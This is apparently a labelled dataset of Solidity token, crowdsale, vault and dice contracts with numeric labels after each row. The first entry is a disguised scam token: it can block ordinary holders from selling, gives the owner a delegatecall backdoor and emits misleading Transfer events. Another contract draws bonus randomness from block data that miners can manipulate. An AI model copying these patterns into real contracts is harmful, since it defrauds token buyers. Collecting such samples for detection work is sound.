function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,381 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract YetAnotherUselessToken is StandardToken, Pausable {
string public constant name = 'Yet Another Useless Ethereum Token';
string public constant symbol = 'YUT';
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 10000000000 * 10**uint256(decimals);
function YetAnotherUselessToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transfer(address _to, uint256 _value) whenNotPaused returns (bool) {
require(_to != address(0));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) {
require(_to != address(0));
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function() payable {
if (msg.value == 0) { return; }
owner.transfer(msg.value);
uint256 tokensIssued = (msg.value * 100);
if (msg.value >= 10 finney) {
tokensIssued += msg.value;
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint8 bonusMultiplier =
((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) +
((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) +
((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) +
((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 1000) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
}
}
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
} | 1 | 4,709 |
pragma solidity ^0.4.13;
contract token {
function transfer(address _to, uint256 _value);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract BDSM_Crowdsale {
token public sharesTokenAddress;
address public owner;
address public safeContract;
uint public startICO_20_December = 1513728060;
uint public stopICO_20_March = 1521504060;
uint public priceIncrease_20_January = 1516406460;
uint public priceIncrease_20_February = 1519084860;
string public price = "0.0035 Ether for 1 microBDSM";
uint realPrice = 0.0035 * 1 ether;
uint coeff = 100000;
uint256 public tokenSold = 0;
uint256 public tokenFree = 0;
bool public crowdsaleClosed = false;
bool public tokensWithdrawn = false;
event TokenFree(uint256 value);
event CrowdsaleClosed(bool value);
function BDSM_Crowdsale(address _tokenAddress, address _owner, address _stopScamHolder) {
owner = _owner;
sharesTokenAddress = token(_tokenAddress);
safeContract = _stopScamHolder;
}
function() payable {
if(now > priceIncrease_20_February){
price = "0.007 Ether for 1 microBDSM";
realPrice = 0.007 * 1 ether;
}
else if(now > priceIncrease_20_January){
price = "0.00525 Ether for 1 microBDSM";
realPrice = 0.00525 * 1 ether;
}
tokenFree = sharesTokenAddress.balanceOf(this);
if (now < startICO_20_December) {
msg.sender.transfer(msg.value);
}
else if (now > stopICO_20_March) {
msg.sender.transfer(msg.value);
if(!tokensWithdrawn){
sharesTokenAddress.transfer(safeContract, sharesTokenAddress.balanceOf(this));
tokenFree = sharesTokenAddress.balanceOf(this);
tokensWithdrawn = true;
crowdsaleClosed = true;
}
}
else if (crowdsaleClosed) {
msg.sender.transfer(msg.value);
}
else {
uint256 tokenToBuy = msg.value / realPrice * coeff;
if(tokenToBuy <= 0) msg.sender.transfer(msg.value);
require(tokenToBuy > 0);
uint256 actualETHTransfer = tokenToBuy * realPrice / coeff;
if (tokenFree >= tokenToBuy) {
owner.transfer(actualETHTransfer);
if (msg.value > actualETHTransfer){
msg.sender.transfer(msg.value - actualETHTransfer);
}
sharesTokenAddress.transfer(msg.sender, tokenToBuy);
tokenSold += tokenToBuy;
tokenFree -= tokenToBuy;
if(tokenFree==0) crowdsaleClosed = true;
} else {
uint256 sendETH = tokenFree * realPrice / coeff;
owner.transfer(sendETH);
sharesTokenAddress.transfer(msg.sender, tokenFree);
msg.sender.transfer(msg.value - sendETH);
tokenSold += tokenFree;
tokenFree = sharesTokenAddress.balanceOf(this);
crowdsaleClosed = true;
}
}
TokenFree(tokenFree);
CrowdsaleClosed(crowdsaleClosed);
}
} | 1 | 2,716 |
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Recoverable is Ownable {
function Recoverable() {
}
function recoverTokens(ERC20Basic token) onlyOwner public {
token.transfer(owner, tokensToBeReturned(token));
}
function tokensToBeReturned(ERC20Basic token) public returns (uint) {
return token.balanceOf(this);
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardTokenExt is StandardToken, Recoverable {
function isToken() public constant returns (bool weAre) {
return true;
}
}
contract TokenVault is Ownable, Recoverable {
using SafeMathLib for uint;
uint public investorCount;
uint public tokensToBeAllocated;
uint public totalClaimed;
uint public tokensAllocatedTotal;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
mapping(address => uint) public lastClaimedAt;
uint public freezeEndsAt;
uint public lockedAt;
uint public tokensPerSecond;
StandardTokenExt public token;
enum State{Unknown, Loading, Holding, Distributing}
event Allocated(address investor, uint value);
event Distributed(address investors, uint count);
event Locked();
function TokenVault(address _owner, uint _freezeEndsAt, StandardTokenExt _token, uint _tokensToBeAllocated, uint _tokensPerSecond) {
owner = _owner;
if(owner == 0) {
throw;
}
token = _token;
if(!token.isToken()) {
throw;
}
if(_freezeEndsAt == 0) {
throw;
}
if(_tokensToBeAllocated == 0) {
throw;
}
if (_freezeEndsAt < now) {
freezeEndsAt = now;
} else {
freezeEndsAt = _freezeEndsAt;
}
tokensToBeAllocated = _tokensToBeAllocated;
tokensPerSecond = _tokensPerSecond;
}
function setInvestor(address investor, uint amount) public onlyOwner {
if(lockedAt > 0) {
throw;
}
if(amount == 0) throw;
if(balances[investor] > 0) {
throw;
}
balances[investor] = amount;
investorCount++;
tokensAllocatedTotal += amount;
Allocated(investor, amount);
}
function lock() onlyOwner {
if(lockedAt > 0) {
throw;
}
if(tokensAllocatedTotal != tokensToBeAllocated) {
throw;
}
if(token.balanceOf(address(this)) != tokensAllocatedTotal) {
throw;
}
lockedAt = now;
Locked();
}
function recoverFailedLock() onlyOwner {
if(lockedAt > 0) {
throw;
}
token.transfer(owner, token.balanceOf(address(this)));
}
function getBalance() public constant returns (uint howManyTokensCurrentlyInVault) {
return token.balanceOf(address(this));
}
function getCurrentlyClaimableAmount(address investor) public constant returns (uint claimableAmount) {
uint maxTokensLeft = balances[investor] - claimed[investor];
if (now < freezeEndsAt) {
return 0;
}
if (tokensPerSecond > 0) {
uint previousClaimAt = lastClaimedAt[investor];
uint maxClaim;
if (previousClaimAt == 0) {
previousClaimAt = freezeEndsAt;
}
maxClaim = (now - previousClaimAt) * tokensPerSecond;
if (maxClaim > maxTokensLeft) {
return maxTokensLeft;
} else {
return maxClaim;
}
} else {
return maxTokensLeft;
}
}
function claim() {
address investor = msg.sender;
if(lockedAt == 0) {
throw;
}
if(now < freezeEndsAt) {
throw;
}
if(balances[investor] == 0) {
throw;
}
uint amount = getCurrentlyClaimableAmount(investor);
require (amount > 0);
lastClaimedAt[investor] = now;
claimed[investor] += amount;
totalClaimed += amount;
token.transfer(investor, amount);
Distributed(investor, amount);
}
function tokensToBeReturned(ERC20Basic tokenToClaim) public returns (uint) {
if (address(tokenToClaim) == address(token)) {
return getBalance().minus(tokensAllocatedTotal);
} else {
return tokenToClaim.balanceOf(this);
}
}
function getState() public constant returns(State) {
if(lockedAt == 0) {
return State.Loading;
} else if(now > freezeEndsAt) {
return State.Distributing;
} else {
return State.Holding;
}
}
} | 1 | 3,806 |
pragma solidity ^0.4.11;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto);
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int)
{
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
}
contract SmartDice is usingOraclize {
string public lastRoll;
string public lastPrice;
address owner;
event diceRolled(uint value);
function SmartDice() payable {
rollDice();
owner = msg.sender;
}
function __callback(bytes32 myid, string result) {
if (msg.sender != oraclize_cbAddress()) throw;
lastRoll = result;
diceRolled(parseInt(lastRoll));
}
function rollDice() payable returns (bool) {
uint oraclizePrice = oraclize_getPrice("WolframAlpha");
if (msg.value < oraclizePrice) {
return false;
}
lastPrice = uint2str(oraclizePrice);
oraclize_query("WolframAlpha", "random number between 1 and 6");
return true;
}
function withdraw(uint amount) returns (bool) {
if (msg.sender != owner) {
return false;
}
if (amount > this.balance) {
return false;
}
if (!msg.sender.send(amount)) {
return false;
}
return true;
}
} | 0 | 1,014 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
